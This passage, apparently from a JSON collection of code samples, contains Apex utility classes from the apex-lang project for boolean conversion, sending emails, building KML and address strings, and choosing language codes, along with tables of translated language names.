    "path": "samples/Apex/BooleanUtils.cls",
    "content": "/* ============================================================\n * This code is part of the \"apex-lang\" open source project avaiable at:\n * \n *      http://code.google.com/p/apex-lang/\n *\n * This code is licensed under the Apache License, Version 2.0.  You may obtain a \n * copy of the License at:\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * ============================================================\n */\nglobal class BooleanUtils {\n\n    global static Boolean isFalse(Boolean bool)\n    {\n        if(bool==null)\n            return false;\n        else\n            return !bool;\n    }\n    \n    global static Boolean isNotFalse(Boolean bool)\n    {\n        if(bool==null)\n            return true;\n        else\n            return bool;\n    }\n    \n    global static Boolean isNotTrue(Boolean bool)\n    {\n        if(bool==null)\n            return true;\n        else\n            return !bool;\n    }\n    \n    global static Boolean isTrue(Boolean bool)\n    {\n        if(bool==null)\n            return false;\n        else\n            return bool;\n    }\n    \n    global static Boolean negate(Boolean bool)\n    {\n        if(bool==null)\n            return null;\n        else\n            return !bool;\n    }\n    \n    global static Boolean toBooleanDefaultIfNull(Boolean bool, Boolean defaultVal)\n    {\n        if(bool==null)\n            return defaultVal;\n        else\n            return bool;\n    }\n    \n    global static Boolean toBoolean(Integer value)\n    {\n        if(value==null)\n            return false;\n        else\n        {\n            if(value==0)\n                return false;\n            else\n                return true;\n        }\n    }\n    \n    global static Boolean strToBoolean(String value)\r\n    {\r\n        if(value==null)\r\n            return false;\r\n        else\r\n        {\r\n            if(StringUtils.equalsIgnoreCase(value,'true'))\r\n                return true;\r\n            else\r\n                return false;\r\n        }\r\n    }\r\n    \n    /************************************/\n    //Converts an int to a boolean specifying \n    //the conversion values.\n    //    Parameters:\n    //    value - the Integer to convert, may be null\n    //    trueValue - the value to match for true, may be null\n    //    falseValue - the value to match for false, may be null \n    //Returns:\n    //    true or false \n    //Throws:\n    //    java.lang.IllegalArgumentException - if no match\n    /************************************/\n    global static Boolean toBoolean(Integer value,\n                                    Integer trueValue,\n                                    Integer falseValue)\n    {\n        if(value==trueValue)\n            return true;\n        else if(value==falseValue)\n            return false;\n        else\n            throw new IllegalArgumentException();\n    }\n    \n    \n    global static Integer toInteger(Boolean bool)\n    {\n        if(bool==null)\n            throw new IllegalArgumentException();\n        else\n        {\n            if(bool)\n                return 1;\n            else\n                return 0;\n        }\n    }\n    \n    \n    global static String toStringYesNo(Boolean bool)\n    {\n        if(bool==null)\n            return null;\n        else\n        {\n            if(bool)\n                return 'yes';\n            else\n                return 'no';\n        }\n    }\n    \n    global static String toStringYN(Boolean bool)\r\n    {\r\n        if(bool==null)\r\n            return null;\r\n        else\r\n        {\r\n            if(bool)\r\n                return 'Y';\r\n            else\r\n                return 'N';\r\n        }\r\n    }\r\n    \r\n    \r\n    global static String toString(Boolean bool,\n                                  String trueString,\n                                  String falseString)\n    {\n        if(bool==null)\n            return null;        \n        else\n        {\n            if(bool)\n                return trueString;\n            else\n                return falseString;\n        }\n    }\n    \n    global static Boolean xor(Boolean[] boolArray)\n    {\n        if(boolArray==null || boolArray.size()==0)\n            throw new IllegalArgumentException();\n        else\n        {\n            Boolean firstItem=boolArray[0];\n            for(Boolean bool:boolArray)\n            {\n                if(bool!=firstItem)\n                    return false;\n            }\n            return true;\n        }    \n    } \n\n}"
  },
  {
    "path": "samples/Apex/EmailUtils.cls",
    "content": "/* ============================================================\n * Contributor: Caleb Sidel\n * \n * This code is part of the \"apex-lang\" open source project avaiable at:\n * \n *      http://code.google.com/p/apex-lang/\n *\n * This code is licensed under the Apache License, Version 2.0.  You may obtain a \n * copy of the License at:\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * ============================================================\n */\nglobal class EmailUtils {\n    \n    global static void sendEmailWithStandardAttachments(List<String> recipients,String emailSubject,String body,Boolean useHTML,List<Id> attachmentIDs) {\n        List<Attachment> stdAttachments = [SELECT id, name, body FROM Attachment WHERE Id IN:attachmentIDs];\n        sendEmailWithStandardAttachments(recipients, emailSubject, body, useHTML, stdAttachments);\n    }\n    \n    global static void sendEmailWithStandardAttachments(List<String> recipients,String emailSubject,String body,Boolean useHTML,List<Attachment> stdAttachments) {\n        List<Messaging.EmailFileAttachment> fileAttachments = new List<Messaging.EmailFileAttachment>();\n        \n        for(Attachment attachment : stdAttachments) {\n            Messaging.EmailFileAttachment fileAttachment = new Messaging.EmailFileAttachment();\n            fileAttachment.setFileName(attachment.Name);\n            fileAttachment.setBody(attachment.Body);\n            fileAttachments.add(fileAttachment);\n        }\n        sendEmail(recipients, emailSubject, body, useHTML, fileAttachments);\n    }\n     \n    global static void sendTextEmail(List<String> recipients,String emailSubject,String textBody) { \n        sendEmail(recipients, emailSubject, textBody, false, null);\n    }\n    \n    global static void sendHTMLEmail(List<String> recipients,String emailSubject,String htmlBody) { \n        sendEmail(recipients, emailSubject, htmlBody, true, null);\n    }\n    \n    global static void sendEmail(List<String> recipients,String emailSubject,String body,Boolean useHTML,List<Messaging.EmailFileAttachment> fileAttachments) { \n        if(recipients == null) return;\n        if(recipients.size() == 0) return;\n        // Create a new single email message object\n        // that will send out a single email to the addresses in the To, CC & BCC list.\n        Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();        \n        //the email is not saved as an activity.\n        mail.setSaveAsActivity(false);\n        // Assign the addresses for the To lists to the mail object.\n        mail.setToAddresses(recipients);          \n        // Specify the subject line for your email address.\n        mail.setSubject(emailSubject);\n        // Set to True if you want to BCC yourself on the email.\n        mail.setBccSender(false);\n        // The email address of the user executing the Apex Code will be used.\n        mail.setUseSignature(false);\n        if (useHTML) {\n            // Specify the html content of the email.\n            mail.setHtmlBody(body);\n        } else {\n            // Specify the text content of the email.\n            mail.setPlainTextBody(body);\n        }\n        // Specify FileAttachments\n        if(fileAttachments != null && fileAttachments.size() > 0) {\n            mail.setFileAttachments(fileAttachments);\n        }\n        // Send the email you have created.\n        Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });\n    }\n\n    /**\n     * null     => false\n     * ''       => false\n     * ' '      => false\n     * 'x'      => false\n     * 'x@'     => false\n     * 'x@x'    => false\n     * 'x@x.x'  => true\n     */\n    global static Boolean isValidEmailAddress(String str){\n        if(str != null && str.trim() != null && str.trim().length() > 0){\n            String[] split = str.split('@');\n            if(split != null && split.size() == 2){\n\t            split = split[1].split('\\\\.');\n\t            if(split != null && split.size() >= 2){\n\t                return true;\n\t            }\n            }\n        }\n        return false;\n    }\n\n    global static Boolean isNotValidEmailAddress(String str){\n    \treturn !isValidEmailAddress(str);\n    }\n\n}"
  },
  {
    "path": "samples/Apex/GeoUtils.cls",
    "content": "public class GeoUtils {\n\t// generate a KML string given a page reference, call getContent() \n\t// then cleanup the output.\n\tpublic static string generateFromContent(PageReference pr) { \n\t\tstring ret = ''; \n\t\ttry {  \n\t        ret = (string) pr.getContent().toString();\n\t\t\t\n\t\t\tret = ret.replaceAll('\"','\\'' ); // get content produces quote chars \\\"  \n\t        ret = ret.replaceAll( '&','&amp;');// we need to escape these in the node value\n        } catch (exception e ) { \n        \tsystem.debug( 'ERROR '+e); \n        }\n   \t\t\n   \t\tret = ret.replaceAll('\\n',' ');\t// must use ALL since many new line may get \n        ret = ret.replaceAll('\\r',' ');\t// get these also!\n      //  system.debug( ret); // dump the KML \n        return ret ;\n\t}\n\t\n\tpublic static Map<String, String> geo_response = new Map<String, String>{'200'=>'G_GEO_SUCCESS',\n    '400'=>'G_GEO_BAD_REQUEST',\n    '500'=>'G_GEO_SERVER_ERROR',\n    '601'=>'G_GEO_MISSING_ADDRESS',\n    '602'=>'G_GEO_UNKNOWN_ADDRESS',\n    '603'=>'G_GEO_UNAVAILABLE_ADDRESS',\n    '604'=>'G_GEO_UNKNOWN_DIRECTIONS',\n    '610'=>'G_GEO_BAD_KEY',\n    '620'=>'G_GEO_TOO_MANY_QUERIES'\n    };\n        \n\tpublic static string accountAddressString ( account acct ) {\n    \t// form an address string given an account object\n    \tstring adr = acct.billingstreet + ',' + acct.billingcity + ',' + acct.billingstate; \n        if ( acct.billingpostalcode != null ) adr += ',' + acct.billingpostalcode; \n        if ( acct.billingcountry != null ) adr += ',' + acct.billingcountry; \n        adr = adr.replaceAll('\\\"', '' );\n        adr = adr.replaceAll('\\'', '' );\n        adr = adr.replaceAll( '\\n', ' ' );    \n        adr = adr.replaceAll( '\\r', ' ' );    \n        system.debug( adr );  \n        return adr;\t\n    }\n    \n\tpublic static testmethod void t1() { \n\t\tPageReference pageRef =  Page.kmlPreviewTemplate;\n        Test.setCurrentPage(pageRef);\n        system.assert ( GeoUtils.generateFromContent( pageRef ) != null );\n        Account a =  new Account( name='foo', billingstreet='main', billingcity='springfield',billingstate='il',\n         billingpostalcode='9',billingcountry='us');\n        insert a;\n        system.assertEquals( 'main,springfield,il,9,us',accountAddressString( a) );\n       \n\t}\n}"
  },
  {
    "path": "samples/Apex/LanguageUtils.cls",
    "content": "/* ============================================================\n * This code is part of the \"apex-lang\" open source project avaiable at:\n * \n *      http://code.google.com/p/apex-lang/\n *\n * This code is licensed under the Apache License, Version 2.0.  You may obtain a \n * copy of the License at:\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * ============================================================\n */\nglobal class LanguageUtils {\n\n    global static final String HTTP_LANGUAGE_CODE_PARAMETER_KEY = 'l';\n\tglobal static final String DEFAULT_LANGUAGE_CODE = 'en_us';\n\n    global static Set<String> SUPPORTED_LANGUAGE_CODES = new Set<String>{\n        'zh-cn'         //Chinese (Simplified)\n        ,'zh-tw'        //Chinese (Traditional)\n        ,'nl-nl'        //Dutch\n        ,'en-us'        //English\n        ,'fi'           //Finnish\n        ,'fr'           //French\n        ,'de'           //German\n        ,'it'           //Italian\n        ,'ja'           //Japanese\n        ,'ko'           //Korean\n        ,'pl'           //Polish\n        ,'pt-br'        //Portuguese (Brazilian)\n        ,'ru'           //Russian\n        ,'es'           //Spanish\n        ,'sv'           //Swedish\n        ,'th'           //Thai\n        ,'cs'           //Czech\n        ,'da'           //Danish\n        ,'hu'           //Hungarian\n        ,'in'           //Indonesian\n        ,'tr'           //Turkish\n    };\n    \n    private static Map<String,String> DEFAULTS = new Map<String,String>{\n        'en'=>'en-us'\n        ,'zh'=>'zh-cn'\n        ,'nl'=>'nl-nl'\n        ,'pt'=>'pt-br'\n    };\n    \n\n    global static String getLangCodeByHttpParam(){\n    \tString returnValue = null;\n        final Set<String> LANGUAGE_CODE_SET = getSuppLangCodeSet();\n        if(ApexPages.currentPage() != null && ApexPages.currentPage().getParameters() != null){\n\t        String LANGUAGE_HTTP_PARAMETER = \n\t            StringUtils.lowerCase(\n\t                StringUtils.replaceChars( \n\t                    ApexPages.currentPage().getParameters().get(HTTP_LANGUAGE_CODE_PARAMETER_KEY)\n\t                    , '_' //underscore\n\t                    , '-' //dash\n\t                )\n\t            );\n\t        if(DEFAULTS.containsKey(LANGUAGE_HTTP_PARAMETER)){\n\t            LANGUAGE_HTTP_PARAMETER = DEFAULTS.get(LANGUAGE_HTTP_PARAMETER);\n\t        }\n\t        if(StringUtils.isNotBlank(LANGUAGE_HTTP_PARAMETER)\n\t            && SUPPORTED_LANGUAGE_CODES.contains(LANGUAGE_HTTP_PARAMETER)){\n\t            returnValue = LANGUAGE_HTTP_PARAMETER;\n\t        }        \n        }\n        return returnValue;\n    }\n\n    global static String getLangCodeByBrowser(){\n        final String LANGUAGES_FROM_BROWSER_AS_STRING = ApexPages.currentPage().getHeaders().get('Accept-Language');\n        final List<String> LANGUAGES_FROM_BROWSER_AS_LIST = splitAndFilterAcceptLanguageHeader(LANGUAGES_FROM_BROWSER_AS_STRING);\n        if(LANGUAGES_FROM_BROWSER_AS_LIST != null && LANGUAGES_FROM_BROWSER_AS_LIST.size() > 0){\n            for(String languageFromBrowser : LANGUAGES_FROM_BROWSER_AS_LIST){\n                if(DEFAULTS.containsKey(languageFromBrowser)){\n                    languageFromBrowser = DEFAULTS.get(languageFromBrowser);\n                }\n                if(SUPPORTED_LANGUAGE_CODES.contains(languageFromBrowser)){\n                    return languageFromBrowser;\n                }\n            }               \n        }\n        return null;\n    }\n    \n    global static String getLangCodeByUser(){\n        return UserInfo.getLanguage();\n    }\n    \n    global static String getLangCodeByHttpParamOrIfNullThenBrowser(){\n        return StringUtils.defaultString(getLangCodeByHttpParam(),getLangCodeByBrowser());\n    }\n\n    global static String getLangCodeByHttpParamOrIfNullThenUser(){\n        return StringUtils.defaultString(getLangCodeByHttpParam(),getLangCodeByUser());\n    }\n    \n    global static String getLangCodeByBrowserOrIfNullThenHttpParam(){\n        return StringUtils.defaultString(getLangCodeByBrowser(),getLangCodeByHttpParam());\n    }\n    \n    global static String getLangCodeByBrowserOrIfNullThenUser(){\n        return StringUtils.defaultString(getLangCodeByBrowser(),getLangCodeByUser());\n    }\n    \n    private static List<String> splitAndFilterAcceptLanguageHeader(String header){\n        List<String> returnList = new List<String>();\n        String[] tokens = StringUtils.split(header,',');\n        if(tokens != null){\n            for(String token : tokens){\n                if(token != null ){\n                    if(token.contains(';')){\n                        token = token.substring(0,token.indexOf(';',0));\n                    }\n                    returnList.add(token);\n                    if(StringUtils.length(token) > 2){\n                        returnList.add(StringUtils.substring(token,0,2));\n                    }\n                }\n            }       \n        }\n        return returnList;\n    }\n    \n    private static Set<String> getSuppLangCodeSet(){\n        Set<String> langCodes = new Set<String>();\n        for(String langCode : SUPPORTED_LANGUAGE_CODES){\n            if(langCode != null){ \n                langCodes.add(StringUtils.lowerCase(langCode));\n            }\n        }\n        return langCodes;\n    }\n\n\t\n\tglobal static String getLanguageName(String displayLanguageCode, String languageCode){\n\t\treturn translatedLanguageNames.get(filterLanguageCode(displayLanguageCode)).get(filterLanguageCode(languageCode));\n\t}\n\t\n\tglobal static Map<String,String> getAllLanguages(){\n\t\treturn getAllLanguages(DEFAULT_LANGUAGE_CODE);\n\t}\n\t\n\tglobal static Map<String,String> getAllLanguages(String displayLanguageCode){\n\t\treturn translatedLanguageNames.get(filterLanguageCode(displayLanguageCode));\n\t}\n\t\n\tprivate static String filterLanguageCode(String displayLanguageCode){\n\t\tdisplayLanguageCode = StringUtils.lowerCase(displayLanguageCode);\n\t\tif(DEFAULTS.containsKey(displayLanguageCode)){\n\t\t\tdisplayLanguageCode = StringUtils.replaceChars(DEFAULTS.get(displayLanguageCode),'-','_');\n\t\t}\n\t\tif(!translatedLanguageNames.containsKey(displayLanguageCode)){\n\t\t\tdisplayLanguageCode = DEFAULT_LANGUAGE_CODE; \n\t\t}\n\t\treturn displayLanguageCode;\n\t}\n\n\tprivate static final Map<String,Map<String,String>> translatedLanguageNames = new Map<String,Map<String,String>>{\n\t\t'cs'=> new Map<String,String>{\n'cs'=>'Čeština'\n,'da'=>'Dánština'\n,'de'=>'Němčina'\n,'en_us'=>'Angličtina (Spojené státy)'\n,'es'=>'Španělština'\n,'es_mx'=>'Mexická španělština'\n,'fi'=>'Finština'\n,'fr'=>'Francouzština'\n,'hu'=>'Maďarština'\n,'in'=>'Indonéština'\n,'it'=>'Italština'\n,'ja'=>'Japonština'\n,'ko'=>'Korejština'\n,'nl_nl'=>'Nizozemština'\n,'pl'=>'Polština'\n,'pt_br'=>'Portugalština (Brazílie)'\n,'ro'=>'Rumunština'\n,'ru'=>'Ruština'\n,'sv'=>'Švédština'\n,'th'=>'Thajská'\n,'tr'=>'Turečtina'\n,'zh_cn'=>'Čínština (zjednodušená)'\n,'zh_tw'=>'Čínština (tradiční)'\n}\n,'da'=> new Map<String,String>{\n'cs'=>'Tjekkisk'\n,'da'=>'Dansk'\n,'de'=>'Tysk'\n,'en_us'=>'Engelsk (USA)'\n,'es'=>'Spansk'\n,'es_mx'=>'Mexicansk spansk'\n,'fi'=>'Finsk'\n,'fr'=>'Fransk'\n,'hu'=>'Ungarsk'\n,'in'=>'Indonesisk'\n,'it'=>'Italiensk'\n,'ja'=>'Japansk'\n,'ko'=>'Koreansk'\n,'nl_nl'=>'Hollandsk'\n,'pl'=>'Polsk'\n,'pt_br'=>'Portugisisk (Brasilien)'\n,'ro'=>'Rumænsk'\n,'ru'=>'Russisk'\n,'sv'=>'Svensk'\n,'th'=>'Thai'\n,'tr'=>'Tyrkisk'\n,'zh_cn'=>'Kinesisk (forenklet)'\n,'zh_tw'=>'Kinesisk (traditionelt)'\n}\n,'de'=> new Map<String,String>{\n'cs'=>'Tschechisch'\n,'da'=>'Dänisch'\n,'de'=>'Deutsch'\n,'en_us'=>'Englisch (Vereinigte Staaten)'\n,'es'=>'Spanisch'\n,'es_mx'=>'Mexican Spanish'\n,'fi'=>'Finnisch'\n,'fr'=>'Französisch'\n,'hu'=>'Ungarisch'\n,'in'=>'Indonesisch'\n,'it'=>'Italienisch'\n,'ja'=>'Japanisch'\n,'ko'=>'Koreanisch'\n,'nl_nl'=>'Niederländisch'\n,'pl'=>'Polnisch'\n,'pt_br'=>'Portugiesisch (Brasilien)'\n,'ro'=>'Rumänisch'\n,'ru'=>'Russisch'\n,'sv'=>'Schwedisch'\n,'th'=>'Thai'\n,'tr'=>'Türkisch'\n,'zh_cn'=>'Chinesisch (Taiwan)'\n,'zh_tw'=>'Chinesisch (traditionell)'\n}\n,'en_us'=> new Map<String,String>{\n'cs'=>'Czech'\n,'da'=>'Danish'\n,'de'=>'German'\n,'en_us'=>'English (United States)'\n,'es'=>'Spanish'\n,'es_mx'=>'Mexican Spanish'\n,'fi'=>'Finnish'\n,'fr'=>'French'\n,'hu'=>'Hungarian'\n,'in'=>'Indonesian'\n,'it'=>'Italian'\n,'ja'=>'Japanese'\n,'ko'=>'Korean'\n,'nl_nl'=>'Dutch'\n,'pl'=>'Polish'\n,'pt_br'=>'Portuguese (Brazilian)'\n,'ro'=>'Romanian'\n,'ru'=>'Russian'\n,'sv'=>'Swedish'\n,'th'=>'Thai'\n,'tr'=>'Turkish'\n,'zh_cn'=>'Chinese (Simplified)'\n,'zh_tw'=>'Chinese (Traditional)'\n}\n,'es'=> new Map<String,String>{\n'cs'=>'Checa'\n,'da'=>'Danés'\n,'de'=>'Alemán'\n,'en_us'=>'Inglés (Estados Unidos)'\n,'es'=>'Español'\n,'es_mx'=>'El español de México'\n,'fi'=>'Finlandés'\n,'fr'=>'Francés'\n,'hu'=>'Húngaro'\n,'in'=>'Indonesia'\n,'it'=>'Italiano'\n,'ja'=>'Japonés'\n,'ko'=>'Corea'\n,'nl_nl'=>'Neerlandés'\n,'pl'=>'Polaco'\n,'pt_br'=>'Portugués (brasileño)'\n,'ro'=>'Rumano'\n,'ru'=>'Rusia'\n,'sv'=>'Sueco'\n,'th'=>'Tailandia'\n,'tr'=>'Turquía'\n,'zh_cn'=>'Chino (simplificado)'\n,'zh_tw'=>'Chino (tradicional)'\n}\n,'es_mx'=> new Map<String,String>{\n'cs'=>'Checa'\n,'da'=>'Danés'\n,'de'=>'Alemán'\n,'en_us'=>'Inglés (Estados Unidos)'\n,'es'=>'Español'\n,'es_mx'=>'El español de México'\n,'fi'=>'Finlandés'\n,'fr'=>'Francés'\n,'hu'=>'Húngaro'\n,'in'=>'Indonesia'\n,'it'=>'Italiano'\n,'ja'=>'Japonés'\n,'ko'=>'Corea'\n,'nl_nl'=>'Neerlandés'\n,'pl'=>'Polaco'\n,'pt_br'=>'Portugués (brasileño)'\n,'ro'=>'Rumano'\n,'ru'=>'Rusia'\n,'sv'=>'Sueco'\n,'th'=>'Tailandia'\n,'tr'=>'Turquía'\n,'zh_cn'=>'Chino (simplificado)'\n,'zh_tw'=>'Chino (tradicional)'\n}\n,'fi'=> new Map<String,String>{\n'cs'=>'Tšekki'\n,'da'=>'Tanska'\n,'de'=>'Saksa'\n,'en_us'=>'Englanti (Yhdysvallat)'\n,'es'=>'Espanja'\n,'es_mx'=>'Meksikon espanja'\n,'fi'=>'Suomen'\n,'fr'=>'Ranska'\n,'hu'=>'Unkari'\n,'in'=>'Indonesia'\n,'it'=>'Italia'\n,'ja'=>'Japani'\n,'ko'=>'Korea'\n,'nl_nl'=>'Hollanti'\n,'pl'=>'Puola'\n,'pt_br'=>'Portugali (Brasilia)'\n,'ro'=>'Romania'\n,'ru'=>'Venäjä'\n,'sv'=>'Ruotsi'\n,'th'=>'Thaimaalaisen'\n,'tr'=>'Turkki'\n,'zh_cn'=>'Kiina (yksinkertaistettu)'\n,'zh_tw'=>'Kiina (perinteinen)'\n}\n,'fr'=> new Map<String,String>{\n'cs'=>'Tchèque'\n,'da'=>'Danois'\n,'de'=>'Allemand'\n,'en_us'=>'Anglais (Etats Unis)'\n,'es'=>'Espagnol'\n,'es_mx'=>'Espagnol mexicain'\n,'fi'=>'Finnois'\n,'fr'=>'Français'\n,'hu'=>'Hongrois'\n,'in'=>'Indonésien'\n,'it'=>'Italien'\n,'ja'=>'Japonais'\n,'ko'=>'Coréen'\n,'nl_nl'=>'Néerlandais'\n,'pl'=>'Polonais'\n,'pt_br'=>'Portugais (brésilien)'\n,'ro'=>'Roumain'\n,'ru'=>'Russe'\n,'sv'=>'Suédois'\n,'th'=>'Thai'\n,'tr'=>'Turc'\n,'zh_cn'=>'Chinois (simplifié)'\n,'zh_tw'=>'Chinois (Traditionnel)'\n}\n,'hu'=> new Map<String,String>{\n'cs'=>'Cseh'\n,'da'=>'Dán'\n,'de'=>'Német'\n,'en_us'=>'Angol (Egyesült Államok)'\n,'es'=>'Spanyol'\n,'es_mx'=>'Mexikói spanyol'\n,'fi'=>'Finn'\n,'fr'=>'Francia'\n,'hu'=>'Magyar'\n,'in'=>'Indonéz'\n,'it'=>'Olasz'\n,'ja'=>'Japán'\n,'ko'=>'Koreai'\n,'nl_nl'=>'Holland'\n,'pl'=>'Lengyel'\n,'pt_br'=>'Portugál (brazíliai)'\n,'ro'=>'Román'\n,'ru'=>'Orosz'\n,'sv'=>'Svéd'\n,'th'=>'Thaiföldi'\n,'tr'=>'Török'\n,'zh_cn'=>'Kínai (egyszerűsített)'\n,'zh_tw'=>'Kínai (hagyományos)'\n}\n,'in'=> new Map<String,String>{\n'cs'=>'Ceko'\n,'da'=>'Denmark'\n,'de'=>'Jerman'\n,'en_us'=>'Inggris (Amerika Serikat)'\n,'es'=>'Spanyol'\n,'es_mx'=>'Meksiko Spanyol'\n,'fi'=>'Finlandia'\n,'fr'=>'Prancis'\n,'hu'=>'Hungaria'\n,'in'=>'Indonesia'\n,'it'=>'Italia'\n,'ja'=>'Jepang'\n,'ko'=>'Korea'\n,'nl_nl'=>'Belanda'\n,'pl'=>'Polish'\n,'pt_br'=>'Portugis (Brasil)'\n,'ro'=>'Romanian'\n,'ru'=>'Russian'\n,'sv'=>'Swedia'\n,'th'=>'Thai'\n,'tr'=>'Turkish'\n,'zh_cn'=>'Cina (Sederhana)'\n,'zh_tw'=>'Cina (Tradisional)'\n}\n,'it'=> new Map<String,String>{\n'cs'=>'Ceco'\n,'da'=>'Danese'\n,'de'=>'Tedesco'\n,'en_us'=>'Inglese (Stati Uniti)'\n,'es'=>'Spagnolo'\n,'es_mx'=>'Spagnolo messicano'\n,'fi'=>'Finlandese'\n,'fr'=>'Francese'\n,'hu'=>'Ungherese'\n,'in'=>'Indonesiano'\n,'it'=>'Italiano'\n,'ja'=>'Giapponese'\n,'ko'=>'Coreano'\n,'nl_nl'=>'Olandese'\n,'pl'=>'Polacco'\n,'pt_br'=>'Portoghese (brasiliano)'\n,'ro'=>'Rumeno'\n,'ru'=>'Russo'\n,'sv'=>'Svedese'\n,'th'=>'Thai'\n,'tr'=>'Turco'\n,'zh_cn'=>'Cinese (semplificato)'\n,'zh_tw'=>'Cinese (tradizionale)'\n}\n,'ja'=> new Map<String,String>{\n'cs'=>'チェコ語'\n,'da'=>'デンマーク語'\n,'de'=>'ドイツ語'\n,'en_us'=>'英語（アメリカ合衆国）'\n,'es'=>'スペイン語'\n,'es_mx'=>'メキシコのスペイン語'\n,'fi'=>'フィンランド語'\n,'fr'=>'フランス語'\n,'hu'=>'ハンガリー語'\n,'in'=>'インドネシア語'\n,'it'=>'イタリア語'\n,'ja'=>'日本語'\n,'ko'=>'韓国語'\n,'nl_nl'=>'オランダ語'\n,'pl'=>'ポーランド語'\n,'pt_br'=>'ポルトガル語（ブラジル）'\n,'ro'=>'ルーマニア語'\n,'ru'=>'ロシア語'\n,'sv'=>'スウェーデン語'\n,'th'=>'タイ'\n,'tr'=>'トルコ語'\n,'zh_cn'=>'中国語（簡体字）'\n,'zh_tw'=>'中国語（繁体字）'\n}\n,'ko'=> new Map<String,String>{\n'cs'=>'체코어'\n,'da'=>'덴마크어'\n,'de'=>'독일어'\n,'en_us'=>'영어 (미국)'\n,'es'=>'스페인어'\n,'es_mx'=>'멕시코 스페인'\n,'fi'=>'핀란드어'\n,'fr'=>'프랑스어'\n,'hu'=>'헝가리어'\n,'in'=>'인도네시 아어'\n,'it'=>'이탈리아어'\n,'ja'=>'일본어'\n,'ko'=>'한국어'\n,'nl_nl'=>'네덜란드'\n,'pl'=>'폴란드어'\n,'pt_br'=>'포르투갈어 (브라질)'\n,'ro'=>'루마니아어'\n,'ru'=>'러시아어'\n,'sv'=>'스웨덴어'\n,'th'=>'타이어'\n,'tr'=>'터키어'\n,'zh_cn'=>'중국어 (간체)'\n,'zh_tw'=>'중국어 (번체)'\n}\n,'nl_nl'=> new Map<String,String>{\n'cs'=>'Tsjechisch'\n,'da'=>'Deens'\n,'de'=>'Duits'\n,'en_us'=>'Engels (Verenigde Staten)'\n,'es'=>'Spaans'\n,'es_mx'=>'Mexicaans Spaans'\n,'fi'=>'Fins'\n,'fr'=>'Frans'\n,'hu'=>'Hongaars'\n,'in'=>'Indonesisch'\n,'it'=>'Italiaans'\n,'ja'=>'Japans'\n,'ko'=>'Koreaans'\n,'nl_nl'=>'Nederlandse'\n,'pl'=>'Pools'\n,'pt_br'=>'Portugees (Braziliaans)'\n,'ro'=>'Roemeens'\n,'ru'=>'Russisch'\n,'sv'=>'Zweeds'\n,'th'=>'Thais'\n,'tr'=>'Turks'\n,'zh_cn'=>'Chinese (Simplified)'\n,'zh_tw'=>'Chinees (traditioneel)'\n}\n,'pl'=> new Map<String,String>{\n'cs'=>'Czeski'\n,'da'=>'Duński'\n,'de'=>'Niemiecki'\n,'en_us'=>'Angielski (Stany Zjednoczone)'\n,'es'=>'Hiszpański'\n,'es_mx'=>'Mexican hiszpański'\n,'fi'=>'Fiński'\n,'fr'=>'Francuski'\n,'hu'=>'Węgierski'\n,'in'=>'Indonezyjski'\n,'it'=>'Włoski'\n,'ja'=>'Japoński'\n,'ko'=>'Koreański'\n,'nl_nl'=>'Niderlandzki'\n,'pl'=>'Polska'\n,'pt_br'=>'Portugalski (Brazylia)'\n,'ro'=>'Rumuński'\n,'ru'=>'Rosyjski'\n,'sv'=>'Szwedzki'\n,'th'=>'Taj'\n,'tr'=>'Turecki'\n,'zh_cn'=>'Chiński (uproszczony)'\n,'zh_tw'=>'Chiński (tradycyjny)'\n}\n,'pt_br'=> new Map<String,String>{\n'cs'=>'Tcheco'\n,'da'=>'Dinamarquês'\n,'de'=>'Alemão'\n,'en_us'=>'Inglês (Estados Unidos)'\n,'es'=>'Espanhol'\n,'es_mx'=>'Espanhol mexicano'\n,'fi'=>'Finlandês'\n,'fr'=>'Francês'\n,'hu'=>'Húngaro'\n,'in'=>'Indonésio'\n,'it'=>'Italiano'\n,'ja'=>'Japonês'\n,'ko'=>'Coreano'\n,'nl_nl'=>'Holandês'\n,'pl'=>'Polonês'\n,'pt_br'=>'Português (Brasil)'\n,'ro'=>'Romeno'\n,'ru'=>'Russo'\n,'sv'=>'Sueco'\n,'th'=>'Tailandês'\n,'tr'=>'Turco'\n,'zh_cn'=>'Chinês (simplificado)'\n,'zh_tw'=>'Chinês (Tradicional)'\n}\n,'ro'=> new Map<String,String>{\n'cs'=>'Cehă'\n,'da'=>'Daneză'\n,'de'=>'Germană'\n,'en_us'=>'În limba engleză (Statele Unite)'\n,'es'=>'Spaniolă'\n,'es_mx'=>'Mexicane Spanish'\n,'fi'=>'Finlandeză'\n,'fr'=>'Franţuzesc'\n,'hu'=>'Maghiară'\n,'in'=>'Indoneziană'\n,'it'=>'Italiană'\n,'ja'=>'Japoneză'\n,'ko'=>'Coreeană'\n,'nl_nl'=>'Olandeză'\n,'pl'=>'Poloneză'\n,'pt_br'=>'Portuguese (Brazilian)'\n,'ro'=>'Român'\n,'ru'=>'Rus'\n,'sv'=>'Suedez'\n,'th'=>'Thai'\n,'tr'=>'Turcă'\n,'zh_cn'=>'Chineză (simplificată)'\n,'zh_tw'=>'Chineză (Tradiţională)'\n}\n,'ru'=> new Map<String,String>{\n'cs'=>'Чешский'\n,'da'=>'Датский'\n,'de'=>'Немецкий'\n,'en_us'=>'Английский (США)'\n,'es'=>'Испанский'\n,'es_mx'=>'Мексиканские Испанский'\n,'fi'=>'Финский'\n,'fr'=>'Французский'\n,'hu'=>'Венгерский'\n,'in'=>'Индонезийский'\n,'it'=>'Итальянский'\n,'ja'=>'Японский'\n,'ko'=>'Корейский'\n,'nl_nl'=>'Голландский'\n,'pl'=>'Польский'\n,'pt_br'=>'Португальский (бразильский)'\n,'ro'=>'Румынский'\n,'ru'=>'Русский'\n,'sv'=>'Шведский'\n,'th'=>'Тайский'\n,'tr'=>'Турецкий'\n,'zh_cn'=>'Китайский (упрощенный)'\n,'zh_tw'=>'Китайский (традиционный)'\n}\n,'sv'=> new Map<String,String>{\n'cs'=>'Tjeckiska'\n,'da'=>'Danska'\n,'de'=>'Tyska'\n,'en_us'=>'Engelska (USA)'\n,'es'=>'Spanska'\n,'es_mx'=>'Mexikansk 